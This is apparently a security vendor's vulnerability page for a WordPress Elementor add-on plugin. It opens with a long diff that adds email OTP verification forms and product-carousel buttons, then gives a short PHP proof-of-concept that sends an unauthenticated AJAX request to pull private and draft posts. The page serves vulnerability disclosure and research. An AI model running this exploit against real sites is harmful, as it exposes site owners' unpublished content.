+		$this->add_group_control( Group_Control_Typography::get_type(), [
+			'name'     => 'otp_button_typography',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-verify-btn',
+		] );
+
+		$this->add_group_control( Group_Control_Border::get_type(), [
+			'name'     => 'otp_button_border',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-verify-btn',
+		] );
+
+		$this->add_responsive_control( 'otp_button_padding', [
+			'label'      => __( 'Button Padding', 'essential-addons-for-elementor-lite' ),
+			'type'       => Controls_Manager::DIMENSIONS,
+			'size_units' => [ 'px', 'em', '%' ],
+			'selectors'  => [
+				'{{WRAPPER}} .eael-lr-otp-verify-btn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+			],
+		] );
+
+		$this->add_control( 'otp_resend_heading', [
+			'label'     => __( 'Resend Link', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( 'otp_resend_color', [
+			'label'     => __( 'Resend Link Color', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-resend' => 'color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_group_control( Group_Control_Typography::get_type(), [
+			'name'     => 'otp_resend_typography',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-resend',
+		] );
+
+		$this->end_controls_section();
+	}
+
+	/**
 	 * Print style controls for a specific type of button.
 	 *
 	 * @param string $button_type the type of the button. accepts login or register.
@@ -6268,11 +6745,23 @@
 	}

 	protected function print_login_form() {
+		// If an OTP challenge is in flight for a DIFFERENT form (e.g. ?eael_otp_flow=register),
+		// suppress the entire login section so only the OTP UI is visible on the page.
+		$otp_active_flow = $this->eael_otp_active_flow();
+		if ( $otp_active_flow && 'login' !== $otp_active_flow ) {
+			return;
+		}
+
 		if ( $this->should_print_login_form ) {
 			// prepare all login form related vars
 			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$default_hide_class = ( 'register' === $this->default_form || 'lostpassword' === $this->default_form || $this->should_print_resetpassword_form_editor || isset($_GET['eael-register']) || isset($_GET['eael-lostpassword']) || isset($_GET['eael-resetpassword']) ) ? 'eael-lr-d-none' : '';

+			// Force-show this section if a login OTP challenge is in progress, or the editor preview is on.
+			if ( $this->eael_otp_should_force_show( 'login' ) ) {
+				$default_hide_class = '';
+			}
+
 			//Reg link related
 			$reg_link_action = ! empty( $this->ds['registration_link_action'] ) ? $this->ds['registration_link_action'] : 'form';
 			$show_reg_link   = ( $this->user_can_register && 'yes' === $this->get_settings( 'show_register_link' ) );
@@ -6350,7 +6839,8 @@
 			$show_login_spinner  = !empty( $this->ds['login_btn_show_spinner'] ) ? $this->ds['login_btn_show_spinner'] : '';
 			$err_msg_position = $this->ds['err_message_position_login'];
 			?>
-            <section id="eael-login-form-wrapper" class="<?php echo esc_attr( $default_hide_class ); ?>" data-recaptcha-theme="<?php echo esc_attr( $rc_theme ); ?>" data-recaptcha-size="<?php echo esc_attr( $rc_size ); ?>">
+            <?php $otp_active_class = $this->eael_otp_should_force_show( 'login' ) ? ' eael-lr-otp-active' : ''; ?>
+            <section id="eael-login-form-wrapper" class="<?php echo esc_attr( trim( $default_hide_class . $otp_active_class ) ); ?>" data-recaptcha-theme="<?php echo esc_attr( $rc_theme ); ?>" data-recaptcha-size="<?php echo esc_attr( $rc_size ); ?>">
                 <div class="eael-login-form-wrapper eael-lr-form-wrapper style-2 <?php echo esc_attr( $icon_class ); ?>">
 					<?php
 					if ( $show_logout_link && is_user_logged_in() && ! $this->in_editor ) {
@@ -6492,7 +6982,10 @@
 								do_action( 'eael/login-register/before-login-form-close', $this );
 								?>
                             </form>
-							<?php do_action( 'eael/login-register/after-login-form', $this ); ?>
+							<?php
+							do_action( 'eael/login-register/after-login-form', $this );
+							$this->print_otp_form( 'login' );
+							?>
                         </div>
 						<?php
 						if ( 'right' === $this->form_illustration_pos ) {
@@ -6526,9 +7019,21 @@
 	}

 	protected function print_register_form() {
+		// If an OTP challenge is in flight for a DIFFERENT form (e.g. ?eael_otp_flow=login),
+		// suppress the entire register section so only the OTP UI is visible on the page.
+		$otp_active_flow = $this->eael_otp_active_flow();
+		if ( $otp_active_flow && 'register' !== $otp_active_flow ) {
+			return;
+		}
+
 		if ( $this->should_print_register_form ) {
 			//phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$default_hide_class = ( 'login' === $this->default_form || 'lostpassword' === $this->default_form || $this->should_print_resetpassword_form_editor || isset($_GET['eael-lostpassword']) || isset($_GET['eael-resetpassword']) ) && !isset($_GET['eael-register']) ? 'eael-lr-d-none' : ''; //eael-register flag for show error/success message when formal form submit
+
+			// Force-show this section if a register OTP challenge is in progress, or the editor preview is on.
+			if ( $this->eael_otp_should_force_show( 'register' ) ) {
+				$default_hide_class = '';
+			}
 			$is_pass_valid      = false; // Does the form has a password field?
 			$is_pass_confirmed  = false;
 			// placeholders to flag if user use one type of field more than once.
@@ -6618,11 +7123,13 @@
 			$password_one_special = !empty( $this->ds['weak_pass_one_special'] ) ? true : false;
 			$err_msg_position = $this->ds['err_message_position_registration'];

+			$otp_active_class = $this->eael_otp_should_force_show( 'register' ) ? ' eael-lr-otp-active' : '';
+
 			ob_start();
 			?>
             <section
                     id="eael-register-form-wrapper"
-                    class="<?php echo esc_attr( $default_hide_class ); ?>"
+                    class="<?php echo esc_attr( trim( $default_hide_class . $otp_active_class ) ); ?>"
                     data-recaptcha-theme="<?php echo esc_attr( $rc_theme ); ?>"
                     data-recaptcha-size="<?php echo esc_attr( $rc_size ); ?>"
                     data-use-weak-password="<?php echo esc_attr( $use_weak_password ); ?>"
@@ -6879,7 +7386,10 @@
 							do_action( 'eael/login-register/before-register-form-close', $this );
 							?>
                         </form>
-						<?php do_action( 'eael/login-register/after-register-form', $this ); ?>
+						<?php
+						do_action( 'eael/login-register/after-register-form', $this );
+						$this->print_otp_form( 'register' );
+						?>
                     </div>
 					<?php if ( 'right' === $this->form_illustration_pos ) {
 						$this->print_form_illustration();
@@ -6906,6 +7416,11 @@
 	}

 	protected function print_lostpassword_form(){
+		// Suppress this section entirely while any OTP challenge is in flight.
+		if ( $this->eael_otp_active_flow() ) {
+			return;
+		}
+
 		if ( $this->should_print_lostpassword_form ) {
 			$form_not_enabled = ! ( 'lostpassword' === $this->default_form || ( 'yes' === $this->get_settings_for_display( 'show_lost_password' ) && 'form' === $this->get_settings_for_display( 'lost_password_link_type' ) ) );

@@ -7066,6 +7581,11 @@
 	}

 	protected function print_resetpassword_form(){
+		// Suppress this section entirely while any OTP challenge is in flight.
+		if ( $this->eael_otp_active_flow() ) {
+			return;
+		}
+
 		//phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		$default_hide_class = ( 'register' === $this->default_form || 'login' === $this->default_form || 'lostpassword' === $this->default_form || isset($_GET['eael-register']) || isset($_GET['eael-lostpassword']) ) && !isset($_GET['eael-resetpassword']) ? 'eael-lr-d-none' : '';
 		$default_hide_class = $this->should_print_resetpassword_form_editor ? '' : $default_hide_class;
@@ -7323,6 +7843,102 @@
 		<?php
 	}

+	/**
+	 * Print the Email OTP Verification UI for the given form type.
+	 * It's hidden by default; the frontend JS reveals it after the form submission triggers an OTP step.
+	 *
+	 * @param string $form_type 'login' or 'register'
+	 */
+	protected function print_otp_form( $form_type = 'login' ) {
+		$prefix  = ( 'login' === $form_type ) ? 'login' : 'register';
+		$enabled = ! empty( $this->ds[ "enable_{$prefix}_otp" ] ) && 'yes' === $this->ds[ "enable_{$prefix}_otp" ];
+
+		// Always render the OTP wrapper — even when the OTP toggle is off — so the DOM anchor
+		// exists for the pending-registration intercept: if a user registered with OTP required
+		// but never verified, `log_user_in()` blocks the login and returns `otp_required: true`.
+		// Without the wrapper the JS has nowhere to inject the OTP screen and silently does nothing.
+		// The wrapper starts `eael-d-none` and is only revealed by JS on demand.
+
+		$title       = ! empty( $this->ds[ "{$prefix}_otp_title_text" ] ) ? $this->ds[ "{$prefix}_otp_title_text" ] : __( 'Verify Your Email', 'essential-addons-for-elementor-lite' );
+		$subtitle    = ! empty( $this->ds[ "{$prefix}_otp_subtitle_text" ] ) ? $this->ds[ "{$prefix}_otp_subtitle_text" ] : __( 'We have sent a 6-digit verification code to your email. Please enter it below to continue.', 'essential-addons-for-elementor-lite' );
+		$verify_text = ! empty( $this->ds[ "{$prefix}_otp_verify_button_text" ] ) ? $this->ds[ "{$prefix}_otp_verify_button_text" ] : __( 'Verify', 'essential-addons-for-elementor-lite' );
+		$resend_text = ! empty( $this->ds[ "{$prefix}_otp_resend_text" ] ) ? $this->ds[ "{$prefix}_otp_resend_text" ] : __( 'Resend Code', 'essential-addons-for-elementor-lite' );
+		$cooldown    = ! empty( $this->ds[ "{$prefix}_otp_resend_cooldown" ] ) ? (int) $this->ds[ "{$prefix}_otp_resend_cooldown" ] : 60;
+
+		// Hydrate the OTP token. Two sources are accepted:
+		//   1. ?eael_otp=<token>&eael_otp_flow=<flow>  — links emailed to the user
+		//   2. eael_lr_otp_token_<wid> cookie          — same-device fallback after non-AJAX submit
+		$widget_id    = $this->get_id();
+		$cookie_name  = 'eael_lr_otp_token_' . $widget_id;
+		$cookie_value = isset( $_COOKIE[ $cookie_name ] ) ? sanitize_text_field( wp_unslash( $_COOKIE[ $cookie_name ] ) ) : '';
+		$cookie_token = '';
+		$cookie_flow  = '';
+		if ( $cookie_value && strpos( $cookie_value, '|' ) !== false ) {
+			list( $cookie_token, $cookie_flow ) = array_map( 'sanitize_text_field', explode( '|', $cookie_value, 2 ) );
+		}
+
+		//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! empty( $_GET['eael_otp'] ) && ! empty( $_GET['eael_otp_flow'] ) ) {
+			//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$query_flow = sanitize_text_field( wp_unslash( $_GET['eael_otp_flow'] ) );
+			if ( $query_flow === $form_type ) {
+				//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				$cookie_token = sanitize_text_field( wp_unslash( $_GET['eael_otp'] ) );
+				$cookie_flow  = $query_flow;
+			}
+		}
+
+		$auto_show      = ( $cookie_token && $cookie_flow === $form_type );
+		$editor_preview = ( $enabled && $this->in_editor && ! empty( $this->ds['otp_preview'] ) && 'yes' === $this->ds['otp_preview'] && $this->eael_otp_active_flow() === $form_type );
+		$visible        = ( $auto_show || $editor_preview );
+
+		// Compute the remaining resend cooldown server-side from the OTP transient so the
+		// countdown survives page reloads. The transient (eael_lr_otp_<token>) is the canonical
+		// store and is deleted on verify-success or on expiry, so we don't need any usermeta.
+		$initial_remaining_cooldown = 0;
+		if ( $cookie_token ) {
+			// Hardcoded prefix mirrors Login_Registration::$otp_transient_prefix to avoid pulling
+			// the trait into the widget class.
+			$session = get_transient( 'eael_lr_otp_' . $cookie_token );
+			if ( is_array( $session ) && ! empty( $session['last_sent'] ) && ! empty( $session['cooldown'] ) ) {
+				$elapsed                    = time() - (int) $session['last_sent'];
+				$initial_remaining_cooldown = max( 0, (int) $session['cooldown'] - $elapsed );
+			}
+		}
+		?>
+		<div class="eael-lr-otp-wrapper<?php echo $visible ? '' : ' eael-d-none'; ?><?php echo $editor_preview ? ' eael-lr-otp-editor-preview' : ''; ?>"
+			 data-remaining-cooldown="<?php echo esc_attr( $initial_remaining_cooldown ); ?>"
+			 data-flow="<?php echo esc_attr( $form_type ); ?>"
+			 data-widget-id="<?php echo esc_attr( $widget_id ); ?>"
+			 data-cooldown="<?php echo esc_attr( $cooldown ); ?>"
+			 data-otp-nonce="<?php echo esc_attr( wp_create_nonce( 'eael_lr_otp' ) ); ?>"
+			 data-ajax-url="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>">
+			<h3 class="eael-lr-otp-title"><?php echo esc_html( $title ); ?></h3>
+			<p class="eael-lr-otp-subtitle"><?php echo esc_html( $subtitle ); ?></p>
+			<input type="hidden" class="eael-lr-otp-token" value="<?php echo esc_attr( $cookie_token ); ?>">
+			<div class="eael-lr-otp-input-row">
+				<input type="text"
+					   inputmode="numeric"
+					   autocomplete="one-time-code"
+					   maxlength="6"
+					   pattern="[0-9]{6}"
+					   class="eael-lr-otp-input"
+					   placeholder="------">
+			</div>
+			<button type="button" class="eael-lr-otp-verify-btn eael-lr-btn eael-lr-btn-block">
+				<?php echo esc_html( $verify_text ); ?>
+			</button>
+			<div class="eael-lr-otp-resend-row">
+				<a href="#" class="eael-lr-otp-resend"><?php echo esc_html( $resend_text ); ?></a>
+				<span class="eael-lr-otp-cooldown-text"></span>
+			</div>
+			<div class="eael-lr-otp-message" aria-live="polite"></div>
+		</div>
+		<?php
+		// Note: the auto-show cookie is short-lived (its lifetime equals the OTP expiry) and is also
+		// cleared client-side by the OTP JS once the UI is shown, so a refresh after success won't replay it.
+	}
+
 	protected function print_necessary_hidden_fields( $form_type = 'login' ) {
 		if ( 'login' === $form_type ) {
 			if ( ! empty( $this->ds['redirect_after_login'] ) && 'yes' === $this->ds['redirect_after_login'] ) {
--- a/essential-addons-for-elementor-lite/includes/Elements/Woo_Product_Carousel.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Woo_Product_Carousel.php
@@ -117,9 +117,15 @@
     }

     public function get_script_depends() {
-        return [
+        $deps = [
             'font-awesome-4-shim',
         ];
+
+        if ( function_exists( 'WC' ) ) {
+            $deps[] = 'wc-add-to-cart';
+        }
+
+        return $deps;
     }

     protected function eael_get_product_orderby_options() {
@@ -175,7 +181,6 @@
         $this->eael_woo_product_carousel_options();
         $this->eael_woo_product_carousel_query();

-        $this->eael_product_action_buttons();
         $this->eael_product_badges();

         // Style Controls---------------
@@ -251,7 +256,7 @@
 	    $this->add_control(
 		    'eael_product_carousel_show_title',
 		    [
-			    'label' => __('Show Title', 'essential-addons-for-elementor-lite'),
+			    'label' => __('Title', 'essential-addons-for-elementor-lite'),
 			    'type' => Controls_Manager::SWITCHER,
 			    'label_on' => __('Show', 'essential-addons-for-elementor-lite'),
 			    'label_off' => __('Hide', 'essential-addons-for-elementor-lite'),
@@ -276,19 +281,48 @@
 		    'eael_product_carousel_title_tag',
 		    [
 			    'label' => __('Title Tag', 'essential-addons-for-elementor-lite'),
-			    'type' => Controls_Manager::SELECT,
+			    'type' => Controls_Manager::CHOOSE,
+                'label_block' => true,
 			    'default' => 'h2',
 			    'options' => [
-				    'h1' => __('H1', 'essential-addons-for-elementor-lite'),
-				    'h2' => __('H2', 'essential-addons-for-elementor-lite'),
-				    'h3' => __('H3', 'essential-addons-for-elementor-lite'),
-				    'h4' => __('H4', 'essential-addons-for-elementor-lite'),
-				    'h5' => __('H5', 'essential-addons-for-elementor-lite'),
-				    'h6' => __('H6', 'essential-addons-for-elementor-lite'),
-				    'span' => __('Span', 'essential-addons-for-elementor-lite'),
-				    'p' => __('P', 'essential-addons-for-elementor-lite'),
-				    'div' => __('Div', 'essential-addons-for-elementor-lite'),
+                    'h1' => [
+                        'title' => __('H1', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h1',
+                    ],
+                    'h2' => [
+                        'title' => __('H2', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h2',
+                    ],
+                    'h3' => [
+                        'title' => __('H3', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h3',
+                    ],
+                    'h4' => [
+                        'title' => __('H4', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h4',
+                    ],
+                    'h5' => [
+                        'title' => __('H5', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h5',
+                    ],
+				    'h6' => [
+                        'title' => __('H6', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h6',
+                    ],
+				    'span' => [
+                        'title' => __('Span', 'essential-addons-for-elementor-lite'),
+                        'text' => 'Span',
+                    ],
+				    'p' => [
+                        'title' => __('P', 'essential-addons-for-elementor-lite'),
+                        'text' => 'P',
+                    ],
+				    'div' => [
+                        'title' => __('Div', 'essential-addons-for-elementor-lite'),
+                        'text' => 'Div',
+                    ],
 			    ],
+                'toggle' => false,
 			    'condition' => [
 				    'eael_product_carousel_show_title' => 'yes',
 			    ],
@@ -482,11 +516,43 @@
             ]
         );

+        // buy now button
+        $this->add_control(
+            'eael_product_carousel_buy_now',
+            [
+                'label'        => esc_html__( 'Buy Now', 'essential-addons-for-elementor-lite' ),
+                'type'         => Controls_Manager::SWITCHER,
+                'label_on'     => __('Show', 'essential-addons-for-elementor-lite'),
+                'label_off'    => __('Hide', 'essential-addons-for-elementor-lite'),
+                'return_value' => 'yes',
+                'default'      => 'no',
+            ]
+        );
+
+
+        $this->add_control(
+            'eael_product_carousel_buy_now_icon',
+            [
+                'label'       => esc_html__( 'Icon', 'essential-addons-for-elementor-lite' ),
+                'type'        => Controls_Manager::ICONS,
+                'default'     => [
+                    'value'   => 'fas fa-shopping-bag',
+                    'library' => 'fa-solid',
+                ],
+                'separator' => 'after',
+                'condition'   => [
+                    'eael_product_carousel_buy_now' => 'yes',
+                ],
+            ]
+        );
+
 	    $this->add_control(
 		    'eael_product_carousel_quick_view',
 		    [
-			    'label'        => esc_html__( 'Show Quick View?', 'essential-addons-for-elementor-lite' ),
+			    'label'        => esc_html__( 'Quick View', 'essential-addons-for-elementor-lite' ),
 			    'type'         => Controls_Manager::SWITCHER,
+                'label_on'     => __('Show', 'essential-addons-for-elementor-lite'),
+                'label_off'    => __('Hide', 'essential-addons-for-elementor-lite'),
 			    'return_value' => 'yes',
 			    'default'      => 'yes',
 		    ]
@@ -496,25 +562,103 @@
             'eael_product_quick_view_title_tag',
             [
                 'label' => __('Quick View Title Tag', 'essential-addons-for-elementor-lite'),
-                'type' => Controls_Manager::SELECT,
+                'type' => Controls_Manager::CHOOSE,
+                'label_block' => true,
                 'default' => 'h1',
                 'options' => [
-                    'h1' => __('H1', 'essential-addons-for-elementor-lite'),
-                    'h2' => __('H2', 'essential-addons-for-elementor-lite'),
-                    'h3' => __('H3', 'essential-addons-for-elementor-lite'),
-                    'h4' => __('H4', 'essential-addons-for-elementor-lite'),
-                    'h5' => __('H5', 'essential-addons-for-elementor-lite'),
-                    'h6' => __('H6', 'essential-addons-for-elementor-lite'),
-                    'span' => __('Span', 'essential-addons-for-elementor-lite'),
-                    'p' => __('P', 'essential-addons-for-elementor-lite'),
-                    'div' => __('Div', 'essential-addons-for-elementor-lite'),
+                    'h1' => [
+                        'title' => __('H1', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h1',
+                    ],
+                    'h2' => [
+                        'title' => __('H2', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h2',
+                    ],
+                    'h3' => [
+                        'title' => __('H3', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h3',
+                    ],
+                    'h4' => [
+                        'title' => __('H4', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h4',
+                    ],
+                    'h5' => [
+                        'title' => __('H5', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h5',
+                    ],
+                    'h6' => [
+                        'title' => __('H6', 'essential-addons-for-elementor-lite'),
+                        'icon' => 'eicon-editor-h6',
+                    ],
+                    'span' => [
+                        'title' => __('Span', 'essential-addons-for-elementor-lite'),
+                        'text' => 'Span',
+                    ],
+                    'p' => [
+                        'title' => __('P', 'essential-addons-for-elementor-lite'),
+                        'text' => 'P',
+                    ],
+                    'div' => [
+                        'title' => __('Div', 'essential-addons-for-elementor-lite'),
+                        'text' => 'Div',
+                    ],
                 ],
+                'toggle' => false,
                 'condition' => [
                     'eael_product_carousel_quick_view' => 'yes',
                 ],
             ]
         );

+        // Quick View Buy Now button
+        $this->add_control(
+            'eael_product_carousel_qv_buy_now',
+            [
+                'label'        => esc_html__( 'Quick View Buy Now', 'essential-addons-for-elementor-lite' ),
+                'type'         => Controls_Manager::SWITCHER,
+                'label_on'     => __( 'Show', 'essential-addons-for-elementor-lite' ),
+                'label_off'    => __( 'Hide', 'essential-addons-for-elementor-lite' ),
+                'return_value' => 'yes',
+                'default'      => 'no',
+                'condition'    => [
+                    'eael_product_carousel_quick_view' => 'yes',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'eael_product_carousel_qv_buy_now_text',
+            [
+                'label'       => esc_html__( 'Button Text', 'essential-addons-for-elementor-lite' ),
+                'type'        => Controls_Manager::TEXT,
+                'default'     => __( 'Buy Now', 'essential-addons-for-elementor-lite' ),
+                'condition'   => [
+                    'eael_product_carousel_quick_view'    => 'yes',
+                    'eael_product_carousel_qv_buy_now'    => 'yes',
+                ],
+                'ai' => [
+                    'active' => true,
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'eael_product_carousel_qv_buy_now_icon',
+            [
+                'label'       => esc_html__( 'Button Icon', 'essential-addons-for-elementor-lite' ),
+                'type'        => Controls_Manager::ICONS,
+                'default'     => [
+                    'value'   => 'fas fa-shopping-bag',
+                    'library' => 'fa-solid',
+                ],
+                'separator'   => 'after',
+                'condition'   => [
+                    'eael_product_carousel_quick_view'    => 'yes',
+                    'eael_product_carousel_qv_buy_now'    => 'yes',
+                ],
+            ]
+        );
+
 	    $this->add_control(
 		    'eael_product_carousel_image_clickable',
 		    [
@@ -1116,10 +1260,6 @@
         $this->end_controls_section();
     }

-    protected function eael_product_action_buttons() {
-
-    }
-
     protected function eael_product_badges() {
         $this->start_controls_section(
             'eael_section_product_badges',
@@ -1750,6 +1890,7 @@
                 ],
                 'selectors' => [
                     '{{WRAPPER}} .eael-product-carousel .icons-wrap li a i, {{WRAPPER}} .eael-product-carousel .icons-wrap li.add-to-cart a:before' => 'font-size: {{SIZE}}px;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a svg' => 'width: {{SIZE}}px; height: {{SIZE}}px;',
                 ],
             ]
         );
@@ -1780,7 +1921,8 @@
                 'label'     => esc_html__( 'Color', 'essential-addons-for-elementor-lite' ),
                 'type'      => Controls_Manager::COLOR,
                 'selectors' => [
-                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a' => 'color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a, {{WRAPPER}} .eael-product-carousel .eael-buy-now-button' => 'color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a svg' => 'fill: {{VALUE}} !important;',
                 ],
             ]
         );
@@ -1793,6 +1935,7 @@
                 'selectors' => [
                     '{{WRAPPER}} .eael-product-carousel .icons-wrap.block-style' => 'background-color: {{VALUE}} !important;',
                     '{{WRAPPER}} .eael-product-carousel .icons-wrap li a'        => 'background-color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .eael-buy-now-button'    => 'background-color: {{VALUE}} !important;',
                 ],
             ]
         );
@@ -1801,7 +1944,7 @@
             Group_Control_Border::get_type(),
             [
                 'name'      => 'eael_product_carousel_buttons_border',
-                'selector'  => '{{WRAPPER}} .eael-product-carousel .button.add_to_cart_button, {{WRAPPER}} .eael-product-carousel .icons-wrap li a',
+                'selector'  => '{{WRAPPER}} .eael-product-carousel .button.add_to_cart_button, {{WRAPPER}} .eael-product-carousel .icons-wrap li a, {{WRAPPER}} .eael-product-carousel .eael-buy-now-button',
                 'condition' => [
                     'eael_dynamic_template_layout!' => 'preset-3',
                 ]
@@ -1862,7 +2005,8 @@
                 'label'     => esc_html__( 'Color', 'essential-addons-for-elementor-lite' ),
                 'type'      => Controls_Manager::COLOR,
                 'selectors' => [
-                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover' => 'color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover, {{WRAPPER}} .eael-product-carousel .eael-buy-now-button:hover' => 'color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover svg' => 'fill: {{VALUE}} !important;',
                 ],
             ]
         );
@@ -1873,7 +2017,7 @@
                 'label'     => esc_html__( 'Background Color', 'essential-addons-for-elementor-lite' ),
                 'type'      => Controls_Manager::COLOR,
                 'selectors' => [
-                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover' => 'background-color: {{VALUE}} !important;',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover, {{WRAPPER}} .eael-product-carousel .eael-buy-now-button:hover' => 'background-color: {{VALUE}} !important;',
                 ],
             ]
         );
@@ -1885,7 +2029,7 @@
                 'type'      => Controls_Manager::COLOR,
                 'default'   => '',
                 'selectors' => [
-                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover' => 'border-color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-product-carousel .icons-wrap li a:hover, {{WRAPPER}} .eael-product-carousel .eael-buy-now-button:hover' => 'border-color: {{VALUE}};',
                 ],
                 'condition' => [
                     'eael_product_carousel_buttons_border_border!' => '',
@@ -1899,7 +2043,7 @@

         $this->end_controls_section();
     }
-
+
     protected function eael_product_view_popup_style() {
         $this->start_controls_section(
             'eael_product_popup',
@@ -2273,7

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7665 - Essential Addons for Elementor - Unauthenticated Information Exposure via AJAX

$target_url = 'http://example.com'; // Change this to the target WordPress site

// Step 1: Send AJAX request to extract private/draft posts
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action'     => 'load_more',
    'post_status' => 'private,draft', // Attempt to include restricted posts
    'post_type'  => 'post',
    'page'       => 1,
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC/1.0',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && !empty($response)) {
    echo "[+] Target may be vulnerable. Response:n";
    echo $response; // Typically JSON with post data
} else {
    echo "[-] Target not vulnerable or blocked. HTTP Code: $http_coden";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School